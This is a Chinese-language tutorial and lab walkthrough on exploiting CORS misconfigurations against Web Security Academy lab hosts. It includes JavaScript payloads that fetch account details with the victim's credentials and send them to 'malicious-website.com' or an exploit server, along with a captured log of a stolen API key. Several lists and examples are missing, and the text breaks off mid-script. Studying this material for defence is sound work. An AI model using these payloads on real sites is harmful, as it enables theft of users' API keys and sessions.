跨域资源共享(CORS)是一种浏览器机制,它允许对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性。然而,如果网站的CORS策略配置和实施不当,它也会提供跨域攻击的可能性。
同源策略是一种限制性的跨域规范,它限制网站与源域之外的资源交互的能力。是一种网络浏览器安全机制,旨在防止网站相互攻击。组成(URI scheme, domain and port number.)
http://normal-website.com:8080/example/
例如一个网站从另一个网站窃取私人数据。它通常允许一个域向其他域发出请求,但不能访问响应。
SOP的必要性:当浏览器将HTTP请求从一个来源发送到另一个来源时,与另一个域相关的任何Cookie,包括身份验证会话Cookie,也会作为请求的一部分发送。这意味着响应将在用户的会话中生成,并包括特定于该用户的任何相关数据。如果没有同源策略,如果你访问了一个恶意网站,它将能够读取你的Gmail电子邮件、Facebook的私人消息等。
同源策略通常控制JavaScript代码对跨域加载的内容的访问权限。一般情况下:
例外情况:
同源政策具有很强的限制性,因此制定了各种办法来规避这些限制。许多网站与子域或第三方站点交互的方式需要完全跨域访问。使用跨源资源共享(CORS)可以对同源策略进行受控放松。
**Access-Control-Allow-Origin**
一个网站对来自另一个网站请求的响应中,响应包头部出现该标识字段,列出允许的来源。Web浏览器将Access-Control-Allow-Origin与请求网站的源进行比较,如果它们匹配,则允许访问响应。
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
**Access-Control-Allow-Credentials**
跨域资源请求的默认行为是在没有Cookie和Authorization Header等凭据的情况下传递请求。但是,跨域服务器可以通过将CORS Access-Control-Allow-Credentials头设置为True来允许在向其传递凭据时读取响应。
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
因为Access-Control-Allow-Credentials响应头设置为True。浏览器将允许发出请求的网站读取响应。否则,浏览器将不允许访问该响应。
**飞行前检查**
OPTIONS /data HTTP/1.1
Host:
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
采用此种方法可简单的实现:允许从任何其他域的访问。
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
这意味着任何域都可以访问易受攻击域中的资源。如果响应包含任何敏感信息,如API密钥或CSRF令牌,可以通过攻击服务器上的脚本来检索获取的信息:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
例题 1
当收到CORS请求时,会将提供的源与白名单进行比较。如果来源出现在白名单上,则它会反映在Access-Control-Allow-Origin标头中,以便授予访问权限。正常请求如下
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
在实现CORS来源白名单时,经常会出现错误。一些程序允许从其所有子域(包括尚未存在的未来子域)进行访问。一些应用程序允许从各种其他组织的域,包括它们的子域进行访问。这些规则通常通过匹配URL前缀或后缀或使用正则表达式来实现。实施中的任何错误都可能导致将访问权限授予意外的外部域。
正常授权域:normal-website.com
改造后:hackersnormal-website.com
normal-website.com.evil-user.net
Origin标头的规范支持空值(null)。在各种特殊情况下,浏览器可能会在Origin标头中发送空值:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧来生成在Origin头部中包含空值的跨域请求。这将满足白名单,导致跨域访问。例如,可以使用以下形式的沙盒iFrame跨域请求来完成此操作:
例题2
两个域建立信任关系,如任一方有XSS漏洞,则攻击者可利用该漏洞尝试获取另个域的敏感信息。
即使是“正确”配置的CORS也会在两个来源之间建立信任关系。如果其中一个网站存在跨站脚本攻击(XSS)漏洞,则攻击者可以利用此漏洞向另一个信任关系的网站检索敏感信息。
严格使用HTTPS的应用程序也存在使用HTTP的受信任子域列入白名单的情况。
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com (非https://)
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
在这种情况下,能够拦截受害者用户通信的攻击者可以利用受害者与应用程序的交互。进行如下步骤的攻击:
http://stock.$your-lab-url/?productId=4
req.onload = reqListener;
function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };
req.open('get','https://$your-lab-url/accountDetails',true);
req.withCredentials = true;req.send(); 请求
https://$exploit-server-url/log?key='%2bthis.responseText 将响应返回给此链接
http://stock.$your-lab-url/?productId=4....
即使易受攻击的网站在其他方面使用HTTPS时很健壮,并且没有HTTP端点并且所有Cookie都标记为安全,此攻击也是有效的。
例题 3
如果私有IP地址空间内的用户访问公共互联网,应用程序服务器对于内网用户有时会信任任何来源的资源请求(无论有没有凭据)。
外部站点使用受害者的浏览器作为访问内联网资源的代理。
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
例题4
浏览网站,查看数据包发现在个人信息详情页,出现ACAO响应头。
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "FAZJavZBlTQAvKxW9a67MfiXAsWiogz4",
"sessions": [
"qgE1oAchcJLCPZXOOJZVYSIG9YwThskm"
]
}
尝试在对应请求包中增加origin请求头,查看是否有ACAO响应头
GET /accountDetails HTTP/1.1
Host: acee1f321f36bc93c064375b008d0092.web-security-academy.net
Cookie: session=qgE1oAchcJLCPZXOOJZVYSIG9YwThskm
Origin: www.hacker.com (增加)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://acee1f321f36bc93c064375b008d0092.web-security-academy.net/my-account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
HTTP/1.1 200 OK
Access-Control-Allow-Origin: www.hacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "FAZJavZBlTQAvKxW9a67MfiXAsWiogz4",
"sessions": [
"qgE1oAchcJLCPZXOOJZVYSIG9YwThskm"
]
}
判断出ACAO是自动生成的,原则上可以跨域实现访问。可尝试构造攻击包
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac5e1f601e5727d6c05c1e8a006200c4.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-ac7a1fd41ed327b1c0271e5a010f0012.web-security-academy.net/log?key='+this.responseText;
};
script>
不在赘述,查看原始数据包发现增加Oringin请求头值为null时,成立返回ACAO为null
GET /accountDetails HTTP/1.1
Host: acf01fe91e68393bc095219e00b80053.web-security-academy.net
Cookie: session=Hj4SOz7oHcQVMwsjWplqPxtLo2dbiAKj
Origin: null (增加)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://acf01fe91e68393bc095219e00b80053.web-security-academy.net/my-account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
证明可以实现跨域访问,可构造CSRF攻击代码,诱使目标用户点击访问获取自己的隐私数据,同事携带隐私数据访问攻击者服务器,留下隐私数据记录
获得攻击者服务器日志记录如下:
172.31.30.57 2022-05-13 01:30:20 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22L5aiLrIerxTzsv0yCmhqquegbAbiKa0m%22,%20%20%22sessions%22:%20[%20%20%20%20%224jhAvjQc0h8wgjqKZelkBoAzUm7xWT2t%22%20%20]} HTTP/1.1" 200 "User-Agent: ...
在数据包中发现
GET /accountDetails HTTP/1.1
Host: ac501f9d1e603974c0a24143006d00e6.web-security-academy.net
Origin: http://heason.ac501f9d1e603974c0a24143006d00e6.web-security-academy.net (https或http均可,可随意添加子域)
Cookie: session=f6gMJ62wsJ8vHEfyofr9hUjHfp9xdym2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac501f9d1e603974c0a24143006d00e6.web-security-academy.net/my-account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
发现在文章页查询库存时存在XSS漏洞,且协议使用http
构造攻击代码
<script>
document.location="http://stock.$your-lab-url/?productId=4